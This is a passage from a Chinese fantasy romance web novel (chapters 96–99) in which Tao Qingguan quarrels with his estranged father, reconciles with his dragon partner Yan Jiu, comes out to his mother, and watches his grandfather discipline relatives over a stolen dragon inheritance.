“你还不理解吗?就是你这种不清不楚,什么都想要的地态度才让人恼火。”陶清观声音完全冷了下来,“你是觉得陶凌霄跟你很像吧,都是从小天赋异鼎,而你中途成了废人,就把希望投向陶凌霄,期待他能有所成就。” “别想着几句话就将一切粉饰太平,若是我没有现在的天赋,你还会坐在这跟我道歉吗?” 陶清观扯下陶雨霖的遮羞布,“你的道歉跟你一样虚伪。” 陶雨霖面色一沉,他像是威严被触犯的老雄狮,不怒自威,“在你眼里,我现在就是个废人?” “错了,不是在我眼里,而是在你自己眼里。”陶清观不偏不倚地对上陶雨霖的目光,“我并不觉得‘废人’有什么不好,当了二十多年‘废人’,我也觉得挺不错。” 陶雨霖唇瓣绷成一条直线,盯着陶清观不言语。 徐婉晴见他们两又吵起来,不知道该说什么才好,她打着圆场,“囡囡,我知道你委屈,你有什么想要的补偿尽管说,我跟你爸爸肯定尽量满足你。” 她放在腿上的手收紧,努力挤出笑容,“你之前不是说想要跟我们一起出国玩,就订明天的票怎么样?订下午的,正好睡一觉落地就能玩。” “我年假没剩几天,暂时没空。”面对徐婉晴,陶清观语气缓和下来,“妈妈你不用想着补偿我,我不觉得委屈。” 徐婉晴连忙道:“我知道……” 陶清观打断徐婉晴的话,“我是委屈过,但现在已经无所谓了,我不需要那两句没有意义的道歉。” 徐婉晴拍着桌子站起身,对着陶雨霖道:“来的时候我怎么跟你说的,错的是你,你凭什么对我儿子发火,这么多年不闻不问,你还有理了。” 陶雨霖被指着鼻子骂,愣是不敢吭一声,他压下自己的脾气,对陶清观道:“都是我的错,对不起。” 陶清观静静地看着徐婉晴和陶雨霖,待陶雨霖说完,他微不可闻地叹气。 “可你并不觉得自己有错。” 陶雨霖眉尖下压,“你想怎么样?总得给个方案,我们才能解决问题。” 陶清观藏在袖子中的手攥紧,指节泛着白色,又是解决问题,为什么一定要解决,又为什么一定要他拿出方法,一而再,再而三的逼紧,压抑到极致的心情终于爆发。 他抬起头,直视陶雨霖,“我想初中毕业典礼上,你能和妈妈一起站在我身后,我想别的孩子在运动会上和父亲跑两人三足时,你能出现,我想高考结束后,你能站在门口,和妈妈一起接我。” “我想啊!可是光我想有用吗?”陶清观倏地起身,嗓音微哑,“几句不明不白的道歉,到底算什么。” 他偏过头,不看徐婉晴愣怔的脸,陶清观咬着下唇,大步跑出包厢,一直跑到饭馆外才停下来。 凉风吹拂面颊,泛红的眼眶,急促的呼吸,乱糟糟的情绪逐渐平息,陶清观缓缓吐出一口气,抬眸望着漆黑的夜空。 接下来,该回家了。 …… 到家门口前,陶清观特地看了眼时间,六点二十,他提前到家。 陶清观推开门,扬起笑脸,“吃过饭没,我今天没混到饭,我们出去吃怎么样?” 宴氿坐在熟悉的位置,听到陶清观的话他并没有回答,转而说道:“你爷爷跟我说了。” 陶清观面上的笑容僵住,他心底存着侥幸,问道:“说了什么?” 第96章 第 96 章 陶清观:或许我们的性格…… 宴氿声音淡淡, “他们想让你和你父亲见面,让我劝劝你。” 又是这个,窒息的空气似乎追上了他, 陶清观唇角绷直。 “我知道了。”陶清观背过身, 将外套挂在衣帽架上,他垂眸整理着衣摆, 迟迟没有转身,“见一面又不会少块肉,有什么好劝的, 我过两天去见他就是。” 宴氿头也不抬,翻动着手中的书页,似乎对书上内容有莫大的兴趣,他漫不经心地问道:“是过两天,还是今天?” 他轻笑, “你的回答总是能避重就轻。” 话音落下,客厅内陷入一片死寂。 陶清观整理衣服的动作停下,他微张的唇瓣, 想说什么却找不到自己的声音。 他该解释吗?可要解释什么?还是说他该道歉, 毕竟他确实有意瞒着宴氿,道歉吧…… “我……” “道歉就免了。”宴氿猜到陶清观心中所想, 他合上书, 啪地一声在客厅回响,“你一没说谎, 二没犯错, 只是没告诉我而已。” 陶清观唇瓣嗫嚅,神色讷讷地转过身,他瞄向宴氿, 对方低头望着书封,始终没给他一个正眼,宴氿在生气,他清楚地知道这点。 宴氿很少跟他生气,平常那点情绪不过是在闹着玩,为数不多的几次生气,也是因为他太过冒险,不把自己的身体当回事,只要他服个软,保证下次一定小心,宴氿就会原谅他。 但现在的局面让他有些无措。 陶清观垂在身侧的手搓揉着衣摆,他抿起唇,犹豫着开口:“对不起。” “陶笠鹤没让我劝你。”宴氿忽然改了口风,“他料到你会和他们吵架,拜托我看着点你,有不对劲及时告诉他。” 陶清观身子一僵,到嘴边的话顿住,他想瞒的事,宴氿全知道了。 宴氿放下交叠的双腿,他指尖轻点着书封,终于给陶清观一个正眼,“没想到这些事,我居然是最后一个知道,甚至还不是从你口中得知。” “这几天我问过你不下十次,你有无数次机会可以告诉我,如果不是陶笠鹤跟我说,你是不是打算瞒我一辈子?” 宴氿望着埋头站着的陶清观,声音冷硬,“陶清观,你真的有把我当做伴侣吗?还是说我就这么不值得你信任,让你什么事都想瞒着我。” 陶清观喃喃着,“我没有……” “我也能理解,或许你是想自己处理,但每次我问起你,你总给我一副无所谓没事的样子,你演技是不错,我有怀疑,却因为你的表现没有深究。” 宴氿说到最后,嗓音微哑,“但你在我面前都要演戏,不累吗?” 陶清观闷不吭声,垂落地发丝遮挡住他的神色。 宴氿拿着书的手收紧,他吐出一口气,撇过头,语气仍有些生硬,“我不是想跟你吵架,我们都先冷静一下,今晚我去隔壁房间。” 他站起身,刚迈出一步,耳边响起轻啜声,宴氿瞳孔扩散,骤然转身。 陶清观擦着眼泪,小声呜咽,他真正哭起来的样子跟因为灵而流泪状况完全不同,一点都不安静,眼泪啪嗒啪嗒往下掉,嘴里也在呜呜呜,看着委屈极了。 宴氿仿佛被按下暂停键,视野内,晶莹的泪珠顺着陶清观的脸颊滚落,他心也跟着一紧,方才那点说各自冷静一下的硬气烟消云散。 他三两步走到陶清观身前,抬手想帮陶清观擦眼泪,但刚碰到陶清观的脸,他的手就被拍开。 陶清观眼尾殷红,泪水在眼眶中打转,“不用,客卧没收拾,你睡主卧,我出去睡。” 他推开宴氿,转身去拿衣帽架上的外套,因动作太急,衣帽架被他扯倒,顿时叮铃哐啷一阵响,陶清观没心情去扶,转身要走。 宴氿心底慌乱,匆匆握住陶清观的手,可陶清观倔着要把手收回去,他怕把人弄伤,只好放开,宴氿连忙大步拦在陶清观身前,放低声音,“对不起,是我语气太重。” “你说得没错,确实是我的问题。”陶清观声音有些哽咽,他拎着的外套有一角垂落在地,但现在谁都没心情关心这个问题,“我出去,等我们冷静下来,再好好谈谈,或许是我们的性格不太合适,在一起也是互相为难。” “不是的。” 听到最后两句话,宴氿一颗心悬起,如一盆冰水兜头浇下,四肢冰凉一片,他挡在门前,死死堵住去路。 陶清观抬手握住门把,但下一刻,他的手就被宴氿紧紧握住,视线因眼泪变得模糊,他用手背蹭过眼尾,跟宴氿较劲似得用力。 就在这时,清脆的响声在耳畔回荡,陶清观下意识望向声音来源,那是宴氿的手串,红色的珠子上裂出一道深深的裂痕。 手上的力道突然就散了,陶清观吸了下鼻子,仍由泪水落下,在地上留下几滴水渍。 “别走。”宴氿握紧陶清观的手,他俯下身,唇瓣蹭过陶清观的脸颊,泪水沿着唇缝浸入口中,是咸的,带着些苦涩。 宴氿将人拥入怀中,他搂得很紧,像是害怕陶清观会溜走一般,“不是你的错,是我没控制到自己的情绪,我想你更依赖我一点,却忘了你的心情。” “抱歉。”宴氿又一次道歉,他胳膊松开了些,垂首望着陶清观通红的双眸,他屈起食指,蹭过陶清观眼角的泪花,“重新想想,是我在任性,知道你心情不好,应该第一时间安慰你,对不起。” 陶清观哽咽了一下,哭得更厉害了。 “呜呜呜,我一回来就看到你摆着个冷脸,你、你是冷暴力,呜呜……”陶清观一边控诉,一边打了个哭嗝,“我就是不想让你知道……” 他吸着鼻子,声音打着颤,“我就是不想。” 至于为什么,陶清观自己也说不清楚,大概是在宴氿面前,他一直维持着乐观开朗的形象,他不想让宴氿看见自己沉闷的另一面。 “好好好,以后你不想说的,我都不问。”陶清观哭这么惨,宴氿哪舍得再说重话,他半抱半哄,将人带到沙发前坐下,抽了张纸递给陶清观,“先擦擦。” 陶清观接过面纸,用力擤鼻子,将纸揉成一团,扔进垃圾桶,他冲宴氿伸出手,委屈巴巴的,“还要。” 宴氿老实递纸,又拿干净的纸帮陶清观擦眼泪,他动作轻柔,轻声哄道:“再哭,明天眼睛该肿了。” 陶清观抽噎了一声,握住宴氿的手腕,有些孩子气地说道:“肿就肿,大不了请假。” “嗯。”宴氿反握住陶清观的手,“等会儿,我就帮你请假,你不是喜欢我带你上天上玩,明天你想去哪我就带你去哪。” 陶清观摇头,一下哭得太狠,他连着打哭嗝,说话不太顺溜,“不、不想去,想在家。” 宴氿立即附和,“那就在家。” 陶清观握紧宴氿的手,他往旁边一倒,靠在宴氿身上,嘴里嘟囔着,“为什么、总要我想解决方法,又不是我的错。” “为什么我一定要、要原谅他,道歉是他的事,原不原谅不应该是我的事吗?” “好烦,真的好烦。”陶清观捏着拳头捶在身上,抱怨道:“现在想起来找我,早干嘛去了,道歉有用,还、还要警察干嘛。” 宴氿知道陶清观在说陶雨霖,可他莫名有种自己也中枪的感觉,他心底咯噔一声,环住陶清观的腰,将人圈进怀里,“嗯,都怪他,还害我们吵架,以后再也不见他了。” “那不是显得我怕了他。”陶清观窝在宴氿怀里,眼睛一圈红得跟兔子似得,“反正他吵不过我,见就见。” 宴氿俯身,亲吻陶清观的发旋,开口道:“既然见到他会不开心,那就不见,我想办法把他调走,只要你不想,他就不会出现在你面前。” 陶清观咬着下唇,刚止住的眼泪又有往下掉的趋势,“可他们都想让我见他,呜呜呜。” 宴氿连忙给陶清观擦眼泪,他在心底把陶雨霖骂了个狗血淋头,跟陶清观在一起这么久,他还是第一次见对方哭这么狠。 他把怀里的陶清观转了个身,让对方些斜坐在自己身上,好看见陶清观的脸,宴氿弯着腰,轻啄陶清观的脸颊,“他们想就让他们去见,一上了年纪的老男人,有什么好看的。” 陶清观听到这话,没绷住,破涕为笑。 发烫的大脑冷静下来,想到自己居然抱着宴氿哭了这么久,陶清观觉得有点丢人,他胡乱抽了几张纸,想把脸擦干净,不待他动手,宴氿就拦住他粗暴的动作。 “先擤鼻涕,我去给你拿毛巾。” 宴氿放下陶清观,他站起身,准备到卫生间,还没迈开脚,他想想又回头拉住陶清观的手,说道:“一起去。” 陶清观乖乖听话,跟宴氿到卫生间洗脸。 洗完脸,宴氿又将毛巾用热水打湿,牵着陶清观回客厅,坐沙发上给眼睛热敷。 他看着倒地的衣帽架,和散落一地的衣物,轻叹一声,“真是一次严重的情侣吵架。” 陶清观捧着毛巾,看看地面,又看看宴氿,忽然就笑了。 宴氿也跟着笑笑,他接过毛巾,放进一旁的脸盆中。 陶清观靠在宴氿身上,看着宴氿将毛巾拧干,视线下移,手链上裂开的串珠映入他的眼帘,陶清观抿起唇,神色复杂,问道:“这个该怎么办?还能修好吗?” 虽然有料到手链迟早有坏掉的一天,但陶清观没想到会这么快,脑海中浮现宴氿固执的模样,陶清观蹙起眉心。 第97章 第 97 章 突如其来地见家长 宴氿下意识用手盖住手链, 他顿了一下,安慰道:“没事,我会想办法修好。” 陶清观脑海中划过数道语句, 可到嘴边只剩下一句, “好。” 手链的事,宴氿比他上心, 陶清观两手交握搁在腿上,还有些湿润的眼眸逐渐暗下,手链会坏第一次, 就会有第二次,这么下去总不是长久之计。 陶清观的目光划过宴氿的侧颜,宴氿肯定能想到这点,但…… 他移开视线,伸手拽住宴氿的手腕, “我饿了。” 宴氿失笑,他拿起一旁的手机,问道:“点外卖?” “好。”陶清观往宴氿身上一扑, 他胳膊搂着宴氿的颈脖, 压在宴氿背上,歪着脑袋瞄宴氿的手机屏幕, “我想吃有汤水的, 不要太油。” 宴氿应了一声,按照陶清观的要求挑选分类, “麻辣烫, 鸡汤饭?” “麻辣烫。”陶清观抬手去戳手机,他脑袋叠在宴氿头顶,整个动作一个大写的蹬鼻子上脸, 偏偏他不觉得有什么,心安理得地把宴氿当抱枕。 宴氿眼底划过一丝无奈,身子往前挪了点,给陶清观空出位置,瞥见陶清观点了一长串吃的,他提醒道:“晚上吃太多对身体不好。” 陶清观理不直气也壮,“没事,我尝个味,多下来的都归你。” 反正以宴氿的饭量,吃再多也撑不着,特别方便。 宴氿、宴氿能怎么办,只能陶清观说什么是什么呗。 他注意力一直停留在陶清观身上,生怕对方想着想着又觉得委屈哭出来,但好在陶清观的情绪来得快,去得也快,没一会儿就跟没事人一样,躺在沙发上打游戏。 若不是陶清观这会儿眼睛通红,真看不出来他刚刚哭过。 宴氿被陶清观拉着一起打游戏,作为一条时常在网上冲浪的龙,宴氿打游戏的手法也不差,带着陶清观一连打通好几关。 陶清观玩得正开心,忽然门铃声响起,以为是外卖来了,他拱了下身旁的宴氿,说道:“快去开门。” 宴氿收起手机,站起身,老老实实去院子里。 陶清观看了眼战绩,满意地领完奖励,他抬眸望向玄关打开的大门,拿外卖就一会儿功夫的事,宴氿怎么还不回来,若是之前,陶清观多半会冲门口喊一声,问问是什么情况。 可他现在情绪刚平静,脑子还有点乱,他穿上拖鞋,快步走出玄关,望见宴氿的背影,陶清观自己都没发现自己松了口气。 他三步并两步小跑过去,从后边往宴氿身上一挂,嘴上抱怨道:“你怎么磨磨唧唧……” 后半句话消音,陶清观愣愣地望着面前的徐婉晴,一时间不知道该做出什么样的表情。 宴氿明显感觉到陶清观身体的僵硬,然后他腰上就被拧了一把,宴氿吃痛,面上又不好表露,他感觉自己很无辜,陶清观跑得太快,他根本没来及阻止。 “……妈。” 陶清观从宴氿身上下来,默默挪到一旁,他板正地站在那,企图当做什么都没发生过。 徐婉晴视线从宴氿移到陶清观,心底五味杂陈,早在上次来,她就觉得这两人不太对劲,现在看来果然如此,但瞥见陶清观嫣红的眼尾,徐婉晴终是舍不得多说什么。 在陶清观最难过的时候,陪在他身边的是宴氿。 徐婉晴没什么抗拒,就接受眼前的事实,她没忘记来这的目的,开口道:“对不起,以后妈妈不会再劝你见爸爸,但他必须补偿你,这是他应得的,你只管接受,不用给他好脸色。” 陶清观嗯了一声,神色不太自然。 恰巧这时,外卖小哥到了,他手里拎着一大盒外卖,问道:“谁是宴先生?” “我。” 宴氿伸手接过外卖。 “行,我拍个照。”外卖小哥兢兢业业,拍完照,立即骑着小电驴离开,留下面面相觑的三人。 陶清观开口打破沉默,“先进来吧。” 他转身往回走,在其他人看不见的角落,陶清观露出牙疼的表情,他这腿,怎么就跑这么快呢,他预想过很多种和徐婉晴坦白的情况,但绝对不包括现在这种。 事已至此—— 陶清观解开宴氿放到餐桌上的外卖,问道:“妈,你要不要也来点。” 徐婉晴一愣,方才那桌子菜,她也没吃,这会儿闻到麻辣烫的香味,还真有点饿了,她犹豫了一会儿,点下头,“吃。” 陶清观习惯性指示宴氿去拿碗筷,但话到嘴边,他觉得不对,又把话咽回去,自个跑去厨房。 餐桌旁剩下宴氿和徐婉晴两人,宴氿发觉徐婉晴在暗暗打量自己,他装作没发现,暗自将腰板挺直了些。 陶清观回来就看见徐婉晴与宴氿各自站直桌子两旁,中间隔着楚河汉界,一副井水不犯河水的样子。 而他一手拿着三个碗,一手握着三双筷子,和这两人仿佛不在一个频道上,陶清观把碗放下,给自己拉开一张椅子坐,又把碗筷分出去,开口道:“来,趁热吃。” 碗筷到手,气氛好像瞬间就缓和不少。 陶清观夹了块鸭血放进徐婉晴碗里,推荐道:“这家味道不错。” 得亏他刚刚嘴馋,点了一大堆吃的,不然一份麻辣烫真不够三个人吃。 徐婉晴望着碗里的鸭血,沉默片刻,抬手夹了颗牛肉丸放进宴氿碗里,散发着自己的善意,“龙……宴氿,你也吃。” “谢谢。”宴氿拿着筷子,大脑飞速运转,现在这个局面,他应该是以小辈的身份,不管怎么说,得给徐婉晴一个好印象,也得让徐婉晴知道自己很重视陶清观。 宴氿伸出筷子,夹起一片肥牛卷,放进陶清观碗里,微笑道:“你喜欢吃的。” 陶清观一手捂脸。 够了,真的够了,玩尬的也不带这么玩的,到嘴的麻辣烫他都觉得不香了。 见宴氿还要夹,陶清观抬手婉拒,“我自己来。” 他一手护着碗,埋头干饭,只要他抬头,尴尬就追不上他,但这场饭注定没有那么好吃。 动了几筷子菜,徐婉晴感觉时候差不多,纵使已经猜到,她还是确认道:“你们现在是什么关系。” 陶清观心道,还是来了,他抿着唇,牵起宴氿的手,开口道:“情侣关系。” 宴氿嘴角扬起一抹弧度,陶清观总算是愿意给他一个名分,他握紧陶清观的手,对徐婉晴道:“是我先动的心思,也是我先追求的他。” 陶清观偏过头,对上宴氿的视线,他快速将头转回来,虽然知道宴氿说得都是实话,但他还是有种被对方维护的感觉。 徐婉晴悬着的那颗心落地,她开口道:“我不打算插手孩子的感情问题,可你们两的状况有点特殊,我还是想问一下,你们有考虑过彼此之间的差异吗?” 宴氿郑重道:“自然考虑过。” “好,那我没别的意见。”徐婉晴望见陶清观眼底的惊讶,嗔怪道:“妈妈是那种不通情达理的人吗?你们都想清楚了,我还有什么好说的,再说了,要一起生活的是你们,又不是我。” 陶清观眸光闪烁,他垂下头,低低地嗯了一声。 徐婉晴接着道:“你爷爷那边,我会先给他打预防针,你放心,他不会怎么为难你们,至于其他人,可有可无,无所谓。” 她这句可有可无,连带着将陶雨霖一起划进去,陶清观听出徐婉晴话中的一起,心底说没有感触是不可能的。 他清楚,徐婉晴和陶雨霖夫妻间的感情一直不错,他曾担心过徐婉晴会因为他与陶雨霖关系不和,而左右为难,但现在他是被偏袒的那一个。 陶清观弯起唇角,笑道:“没事,爷爷要是敢打我,我就往宴氿身后躲,反正他不敢对宴氿动手。” 徐婉晴挑眉,故意道:“那我不说了?” “不不不。”陶清观连声道:“妈,你先帮我探探爷爷口风。” “行吧。”徐婉晴重新拿起筷子,话题一转,“这家麻辣烫确实好吃,回头把店名发给我。” “嗯。”陶清观也准备继续吃,但眼睛一瞄,发现徐婉晴把肥牛卷全夹走了,他眼睛睁圆,“你给我留点。” 徐婉晴不说话,麻辣烫的花语是手慢无。 除去一开始聊的,后边三人聊得还挺开心,宴氿见识广,基本徐婉晴挑起的话题,他都能顺着说上几句,聊到最后,徐婉晴对宴氿简直是相见恨晚。 离开时,徐婉晴还跟宴氿要了联系方式,称呼也从‘宴氿’变成‘小宴’。 陶清观在一旁看着,不由咂舌,待徐婉晴走后,他拱了下宴氿,调侃道:“看不出来啊,原来你也会讨好人。” “不是讨好。”宴氿纠正道:“她是你的妈妈,我想和她处好关系有什么问题。” 陶清观哼出一声嗯,他伸了个懒腰,抬脚往房间走,嘴里念叨着:“累了累了,洗洗睡觉。” 宴氿莞尔,抬脚跟上去,他忽然叫住陶清观,“小观。” 听到这个称呼,陶清观不客气地回敬道:“小宴。” 宴氿眉眼含笑,他抬手揉了下陶清观的发丝,柔声道:“不用想着迁就别人,在意的人自然会迁就你。” 陶清观愣了一下,过了好一会儿才轻轻地嗯了一声。 第二天,陶清观还是请了假,因为他的眼睛肿起来了,虽然不严重,但去上班,陆满满肯定会问东问西。 不过陶清观也就闲了半个上午,十点多钟时,陶笠鹤一个电话打过来,要他们立即去特管局。 陶清观垂死病中惊坐起,不是吧,妈妈那么快?这就跟爷爷说了? 第98章 第 98 章 热闹,真是太热闹了 陶清观站在洗手间里墨迹, 他望着镜子中的自己,眼眶还有点红,眨眼时眼睛又涩又难受。 想起昨晚自己号啕大哭样子, 陶清观一脑袋磕在旁边墙上, 真是越想越羞耻,他摸摸自己的脖子, 感觉有点痒,可能缺根绳子。 陶清观长叹一口气,他已经能想象过去后, 三堂会审的情况了。 不过陶笠鹤居然让他一定要把宴氿带着,陶清观心底直犯嘀咕,不应该啊,陶笠鹤要收拾他,怎么会让他把挡箭牌带着。 陶清观犹豫再三, 还是决定去看看是怎么个事,大不了被陶笠鹤念叨几句。 他啪的一下推开卫生间的门,一副视死如归的模样, 对宴氿道:“我们走。” 宴氿见陶清观如临大敌, 不由失笑,安慰道:“有我在, 他不敢拿你怎么样。” 陶清观绷着脸点了下脑袋。 但等陶清观到特管局时, 发现事情和他想的有点不一样。 陶清观扫了眼屋内,陶凌霄, 他爷爷, 大伯,他爹妈,满满一屋子人, 上次人这么齐还是在葬礼上。 几位长辈站在一旁,最为醒目的陶凌霄跪在中央,对方埋着头,看不清脸上的神色。 陶清观一看有乐子,顿时心也不慌了,抬脚走到陶笠鹤身旁,正好的陶凌霄跪的方向,陶清观瞄了眼陶凌霄,对陶笠鹤道:“人我,我带回来了,这是什么情况?” 陶笠鹤用鼻子哼了一声,看起来被陶凌霄气得不轻, 宴氿扫过陶凌霄,感应到熟悉的气息,他心下了然,开口道:“他拿了龙族传承。” “没错。”陶笠鹤眉心拧紧,语气无奈,“他没本事接受传承,把自己搞得不伦不类,我能帮他把传承取出来,可人类手中没有保管龙族传承的方法,还请您回收。” “这倒没问题。”宴氿饶有兴趣地望着陶凌霄,问道:“你是怎么拿到传承的?” 龙族的传承都留在深海,那是人类无法企及的地方。 陶笠鹤解释道:“他是在浅海找到的,前些日子有台风海啸,大概是顺着暗流风浪卷上来了。” 陶清观听的津津有味,他问宴氿,“要是不取出来,会怎么样?” “会死。”宴氿语气没什么起伏,“人体就像一个密闭的容器,里面的承载物太多,容器的结局只有破裂。” 说到这,宴氿话锋一转,“但你不一样,你不用担心这些。” 陶清观点点头,脸上的表情有些古怪,确实不一样,他不会死,他只会哭得死去活来。 他们在这聊天,旁边陶凌霄的父亲,陶桑云沉不住起,催促道:“爸,凌霄现在情况紧急。” “闭嘴。”陶笠鹤一个冷眼瞪过去,训斥道:“是我让他吞下传承的?做事不过脑子,还有你,现在知道急了?早干嘛去了!?” “愣是拖到瞒不下去才告诉我,你还有脸说。” 陶桑云被训得跟孙子似的,屁都不敢再放一个。 围观的陶清观啧啧两声,这两声清楚的落进陶凌霄耳朵里,他两手攥成拳,感觉陶清观在嘲讽自己。 他仰起头,满脸不服气,“凭什么他可以留下道灵,我就不能留下传承,爷爷你究竟要偏心到什么地步。” 听到这话,陶笠鹤气得吹胡子瞪眼,扬手一巴掌抽在陶凌霄脸上。 响亮的一声,陶清观感觉陶凌霄的眼神都打清澈了,他在心底哇偶一声,开口道:“你别偷换概念,我是问过爷爷后,才留下的道灵,你先后顺序可跟我不一样,先上了车,这会儿想补票,难咯。” 道灵是苏小钱兄弟俩交易来的,用的时候不仅宴氿在场,又有陶笠鹤的肯定,跟现在陶凌霄的情况天差地别。 陶凌霄脸颊肿起来一块,他发丝凌乱,唇瓣抿成一条直线。 若不是真的刻不容缓,陶笠鹤高低再给陶凌霄两下,他吁出一口气,对宴氿道:“麻烦您了。” 宴氿颔首,封存传承对他来说不过举手之劳。 陶笠鹤抬手覆在陶凌霄额头上,运转体内的灵,探寻传承的方向,不过片刻,他就将传承接引而出。 脱离陶凌霄的传承化成一尾金色的游鱼,在屋子里横冲直撞,似乎是在寻找逃离的方向。 陶笠鹤用灵护住在场的其他人,防止传承意外撞入其他人体内,但他的灵护不住多久,所以才需要宴氿及时封存。 在游鱼划过身边的那一刻,宴氿伸出手,轻而易举地将其擒获,原本暴躁的小鱼,在宴氿掌心里瞬间变得温顺乖巧。 陶清观好奇地凑过去,问道:“这是给龙族幼崽准备的?” “差不多。”宴氿拨弄着手中的小鱼,“这里面只有一小部分,龙族已经很久没有幼崽诞生了,估计是存放传承的地方坍塌,让它溜出来了。” 他上次去传承地,大概是几百年前,这期间一直没有幼崽诞生,再加上龙族传承攻击性很强,其他生物拿到就是陶凌霄这个下场,其余龙没事自然也不会去那边溜达,那边渐渐地就荒下来。 金色小鱼在宴氿掌心里摆尾,模样憨态可掬,晃脑袋地样子就像是在求抚摸。 怪可爱的,陶清观心底想着。 被剥离传承的陶凌霄跌倒在地,陶桑云爱子心切,连忙上前将人扶起来,关心道:“有没有哪里不舒服?” 陶凌霄脸色苍白,气若游丝,看起来元气大伤,唇瓣颤抖着说不出话来。 陶笠鹤对陶凌霄的身体状况了然于胸,他眼底有一丝复杂的色彩,开口道:“回去好好养着,说不定能回到原本的状态。” 此话一出,陶桑云面色僵住,他不敢置信地望向陶笠鹤,追问道:“爸,你这是什么意思,凌霄他天赋受损了?” “拖这么久,能捡回条命都算他运气好。”陶笠鹤知道陶桑云有多看重这个儿子,他语气缓和了些,说道:“也不是不能恢复,就是时间久点。” 陶桑云面色依旧难堪,他喃喃自语,“也就是说,凌霄很难再有精进?” “嗯。”陶笠鹤叹息,宽慰道:“孩子人没事就好。” “不行!” 陶桑云情绪激动,他搂着陶凌霄跪在陶笠鹤面前,“爸,你想想办法,凌霄绝不能变成二弟那样的废人,你也不想再失去一个天才后辈吧!” 废人两个字像把利剑直戳陶雨霖心窝子,他指甲嵌入肉中,身体绷紧。 陶笠鹤面色铁青,还未完全褪去的怒火再一次卷上心头,他横眉竖目,“你就这么看你弟弟?” 陶桑云自知失言,低着头不敢说话。 看到陶桑云这幅软弱的样子,陶笠鹤更是气不打一出来,一脚踹在陶桑云腹部。 听见一声惨叫,陶清观在心底暗道一声精彩,他小声跟宴氿咬耳朵,“我就说我爷爷脾气爆,打了他们,可就不能打我了。” 跟陶桑云父子俩一比,陶清观瞬间感觉自己那点事都不算事,陶笠鹤的火力被完美转移。 宴氿瞧见陶清观眼底的幸灾乐祸,唇角跟着扬起,“那一会儿你跟他说?” 陶清观笑容一顿,顾左右而言他,“也不是那么急,等我妈先探探口风。” 他向徐婉晴那望去,对方轻拍陶雨霖的肩膀,似乎是在安慰,陶清观视线瞥过陶雨霖。 对方当天才的样子,他想象不出来,陶雨霖给他的感觉,就是个只会叭叭的大男子主义家长,宛如人形指挥棒,看着好使,实际一折就断。 陶清观撇嘴,收回目光。 就在这时,一直安分待在宴氿手中的小鱼,忽然一跃而起,在场的人都没想到这条鱼还能作妖,因此当它钻进陶清观身体里时,谁都没有反应过来。 陶清观一脸茫然,看着小鱼消失的位置,他啊了一声,“这……这,它跑我身体里干嘛?” 他就挨着宴氿,这鱼滑不溜手的,完全给他躲开的时间。 宴氿蹙眉,伸手覆上陶清观的心口,陶笠鹤匆匆赶来,看着宴氿给陶清观检查,面上浮现几分着急。 徐婉晴也是一脸担忧,她顾不得陶雨霖,快步走到陶清观身边。 而被踹翻在地的陶桑云,眼底说不清是庆幸还是惋惜,他抱着昏过去的陶凌霄,安静地待在一旁。 很快,宴氿检查完,皱起的眉心松开。 他揉了下陶清观的脑袋,开口道:“没事,估计是感知到你体内的龙族血脉,把你当成幼崽了。” 陶清观的年龄,在龙族里可不就是幼崽。 “不用取出来吗?”陶清观揉了揉自己的胸口,倒是没什么特殊的感觉。 宴氿摇头,“不用,我说过你是不一样的。” 听到这话,几人齐齐松了口气。 “怎么可能!?” 一道不和谐的声音打破局面,陶笠鹤面色当即沉了下来,“怎么?你这个做大伯的,还盼着小观出事?” 陶桑云连连摇头,语无伦次,“凭什么?凌霄不比他差,爸!你是不是有意要把传承留给他!?” 待陶桑云说完,陶笠鹤面色黑如锅底,他虚起眼眸,语气听不出喜怒,“我算是知道,为什么凌霄一个劲地说我偏心,原来是你这个蠢货在他耳边念叨。” “我……” 陶桑云身上的气势瞬间就弱了下来,他唇瓣嗫嚅着,眼神飘忽。 陶笠鹤压下心头的怒火,对宴氿道:“让您见笑,我要处理点家事,门口有司机候着,您想去哪,尽管吩咐他。” 宴氿在笑,笑意确不达眼底,“没事,我们也算一家人,你的家事,自然也算我的。” 被宴氿挡在身后的陶清观:“……” 这是嫌事还不够大么。 第99章 第 99 章 认亲宴&订婚宴 陶笠鹤表情一凝, 染上些许古怪的色彩,他的视线在陶清观和宴氿之间来回移动,心底狐疑。 他记得宴氿是说过要受陶清观当干儿子, 但陶清观不是一直不愿意么, 难道最近答应了? 如果真是这事,那他可得有点表示。 陶笠鹤心思千回百转, 但现在首要的还是处理陶桑云的事,他斜睨向陶桑云,这些年他对陶桑云多有纵容, 想弥补小时候对陶桑云的忽视,却不想纵出一个没脑子的蠢货。 他曾怒其不争,现在又怒其将心思都放在邪门歪道上。 陶笠鹤沉着脸,语气强硬,“还不带着凌霄回去休息, 这段时间你专心照顾凌霄,手里的事就交给洪宇去做。” 洪宇算是陶桑云的副手,陶笠鹤这话是要夺陶桑云的权。 陶桑云目眦欲裂, 他想辩驳, 但对上陶笠鹤那双饱经风霜的眼眸,他刚提起的那股劲就散了, 他虽然是家中长子, 但对于陶笠鹤,他始终是惧大于敬。 他不甘心地低下头, 后槽牙咬紧, 敢怒而不敢言。 陶笠鹤也不催促,只是静静地注视着陶桑云,最终还是陶桑云败下阵来, 跟打了败仗一半,耷拉着脑袋带陶凌霄离开。 陶笠鹤眼底神色陈杂,他走到桌旁,按下一旁的按钮,开口道:“老李,送桑云他们回去,再叫桑医生过去看看。” 那边的老李回了句好,通话就此结束。 处理好大儿子,陶笠鹤望向小儿子陶雨霖,刚刚陶桑云那句话实属诛心,陶笠鹤轻叹一声,劝解道:“你哥从小就没什么脑子,天赋也是差中之差,你别把他的话放心上。” 陶雨霖闷声应好,杵在那跟个柱子似的。 徐婉晴两手交握在身前,攥得很紧,她与陶雨霖初始之际,是对方风头最盛之时,那时候的他们谁也没想到会沦落到如今的地步。 其实在陶清观刚出生那会儿,陶雨霖是真的疼爱这个孩子,后来知道陶清观的天赋有瑕,难以成为雨师,陶雨霖的态度也没什么改变。 到底是什么时候变的…… 徐婉晴眸光暗淡下来,大概是突然失去天赋,从一线退居幕后,以往轻而易举就能完成的事,现在花百倍功夫都难以做到,原本属于自己的一切都归于他人所有。 好像从那时起,陶雨霖就不一样了,他期望陶清观能继承自己未完成的所有,可又在陶清观身上看不到希望。 但她的囡囡并不是为这一切而生,她也不希望陶清观被这些所困。 徐婉晴心底团起的那些忽然就散了,这样就好,现实不是童话,哪有那么多美满的结局。 不想陶雨霖再和陶清观有过多接触,徐婉晴拽过陶雨霖,对陶笠鹤道:“爸,既然凌霄没事,我和雨霖就先走了。” 